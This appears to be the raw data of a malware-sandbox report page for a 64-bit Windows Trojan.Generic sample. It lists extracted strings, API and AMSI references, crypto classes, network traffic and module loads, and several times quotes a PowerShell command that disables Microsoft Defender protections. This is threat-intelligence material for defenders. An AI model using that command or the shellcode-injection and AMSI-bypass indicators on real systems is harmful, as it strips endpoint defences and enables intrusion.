24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 5c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4d1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 5ae30eecdfb9… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5ae30eecdfb9…. Malware family: Trojan.Generic. Threat score 100/100. 9/28 AV engines flagged this file. 2 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0"],"about":{"@type":"SoftwareApplication","name":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin","applicationCategory":["peexe","64bits","assembly","executable"],"identifier":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":9,"total":28},"behavioralIndicators":{"malicious":2,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T54b,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp, 00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found string "$errorCategory = [System.Management.Automation.ErrorCategory]::InvalidArgument" (Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp") Found string "$errorRecord = [System.Management.Automation.ErrorRecord]::New($exception, $errorId, $errorCategory, $null)" (Source: "00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp")26:T531,Found string "Switch.System.IO.Compression.DoNotUseNativeZipLibraryForDecompression" (Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "GZipStream" (Source: "00000000-00004796.00000001.235603.00972000.00000002.mdmp") Found string "system.io.compression" (Source: "00000000-00006372.00000000.234681.285B0000.00000004.mdmp, 00000000-00006372.00000001.234931.285A0000.00000004.mdmp") Found string "compressiontracingswitchlevel" (Source: "00000000-00006372.00000000.234681.285B0000.00000004.mdmp") Found string "compressiontracingswitch" (Source: "00000000-00006372.00000000.234681.285B0000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Source: "00000000-00006372.00000000.234681.713EA000.00000002.mdmp") Found string "compressionmode" (Source: "00000000-00006372.00000001.234931.285A0000.00000004.mdmp") Found string "decompressionmethods" (Source: "00000000-00006372.00000001.234931.285A0000.00000004.mdmp") Found string "compressionlevel" (Source: "00000000-00006372.00000001.234931.285A0000.00000004.mdmp") Found string "compressionstrategy" (Source: "00000000-00006372.00000001.234931.285A0000.00000004.mdmp") Found string "compressionmethod" (Source: "00000000-00006372.00000001.234931.285A0000.00000004.mdmp")27:Te55,Found reference to API "VirtualAlloc:" (Indicator: "VirtualAlloc"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to API "CreateThread:" (Indicator: "CreateThread"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to API "FAIL: CreateThread" (Indicator: "CreateThread"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to API "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "VirtualAlloc"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to API "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "CreateThread"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to API "VirtualAlloc:" (Indicator: "VirtualAlloc"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "CreateThread:" (Indicator: "CreateThread"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "FAIL: CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "AIL: CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004796.00000001.235603.00972000.00000002.mdmp") Found reference to API "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "VirtualAlloc"; Source: "00000000-00004796.00000001.235603.00972000.00000002.mdmp") Found reference to API "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "CreateThread"; Source: "00000000-00004796.00000001.235603.00972000.00000002.mdmp") Found reference to API "VirtualAlloc: 0x1FDE0000 err=0" (Indicator: "VirtualAlloc"; Source: "00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "[13:47:33.236] VirtualAlloc: 0x1FDE0000 err=0" (Indicator: "VirtualAlloc"; Source: "00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "CreateThread: 0x38C TID=64 err=0" (Indicator: "CreateThread"; Source: "00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "[13:47:33.314] CreateThread: 0x38C TID=64 err=0" (Indicator: "CreateThread"; Source: "00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00006372.00000000.234681.A9072000.00000002.mdmp")28:T659,Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadByte" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "Copy" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "WriteByte" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadInt32" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadInt16" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReadInt64" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "WriteInt64" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin"29:T484,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.00972000.00000002.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006372.00000000.234681.713EA000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006372.00000000.234681.713EA000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp")2a:T568,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.1FDE1000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.1FDE1000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.1FDE1000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.1FDE1000.00000020.mdmp")2b:T1ebc,file/memory contains long string with (Indicator: "Aes"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to "8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10" (Indicator: "SHA384"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to "Mhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S" (Indicator: "SHA384"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to "Mhttp://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0" (Indicator: "SHA384"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to "Phttp://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0" (Indicator: "SHA384"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to "8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" (Indicator: "SHA384"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00004796-00000BC0-2634217191") Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp")2c:T5ac,Observed string: "AmsiScanBuffer" (Indicator: "amsiscanbuffer") in Source: 5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin Observed string: "amsi.dllNtQueryInformationProcess" (Indicator: "amsi.dll") in Source: 5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin Observed string: "amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00004796.00000000.234515.03170000.00000004.mdmp 00000000-00004796.00000000.234515.05850000.00000004.mdmp 00000000-00004796.00000001.235603.05850000.00000004.mdmp Observed string: ":\WINDOWS\SYSTEM32\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00004796.00000000.234515.03170000.00000004.mdmp 00000000-00004796.00000001.235603.03170000.00000004.mdmp Observed string: ":\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00004796.00000000.234515.03170000.00000004.mdmp Observed string: "AmsiScanBuffer" (Indicator: "amsiscanbuffer") in Source: 00000000-00004796.00000000.234515.05850000.00000004.mdmp 00000000-00004796.00000001.235603.00972000.00000002.mdmp 00000000-00004796.00000001.235603.05850000.00000004.mdmp Observed string: "amsi.dllNtQueryInformationProcess" (Indicator: "amsi.dll") in Source: 00000000-00004796.00000001.235603.00972000.00000002.mdmp Observed string: ":\WINDOWS\SYSTEM32\amsi.dll" (Indicator: "amsi.dll") in Source: 00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp 00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp2d:T820," HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat 21 Mar 2026 13:46:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12330 Connection: keep-alive Set-Cookie: stel_ssid=67424570f18a1cc330_14408318485857448857; expires=Sun 22 Mar 2026 13:46:00 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: pax.ssffaa4.xyz Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sat 21 Mar 2026 13:46:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=hhouvYZpTdFihQ2B2t6FBKDMCSuo45wqmjAkVX2gPHn3nVKKNiJvC42xzzl7OhftTPKwdV3U5EAMH8pbVChRu89iUsMhFeS3oL34KqZtkw%3D%3D"}]} CF-RAY: 9dfd667abdaf78eb-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B.......3e:T2f5c,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8b45e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8b45e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8b45e0000 "powershell.exe" loaded module "KERNEL32" at base 7ff8b5a70000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff895b60000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff8b5a70000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff8b5b20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff891380000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff8b5350000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff8b41b0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff8ab290000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff8879b0000 "powershell.exe" loaded module "USER32.DLL" at base 7ff8b7bc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff8b45e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff89c0b0000 "powershell.exe" loaded module "NTDLL" at base 7ff8b7e20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff8b5760000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff8b53b0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff8b5470000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff8863b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ff8b6310000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff8b5760000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff8b7940000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff885740000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff883c10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff890d80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8b35b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8b4440000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff8812f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff8b5760000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff8b5760000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff8b7e20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 1a46fda0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff8b44e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 7ff8a1ff0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff8b44e0000 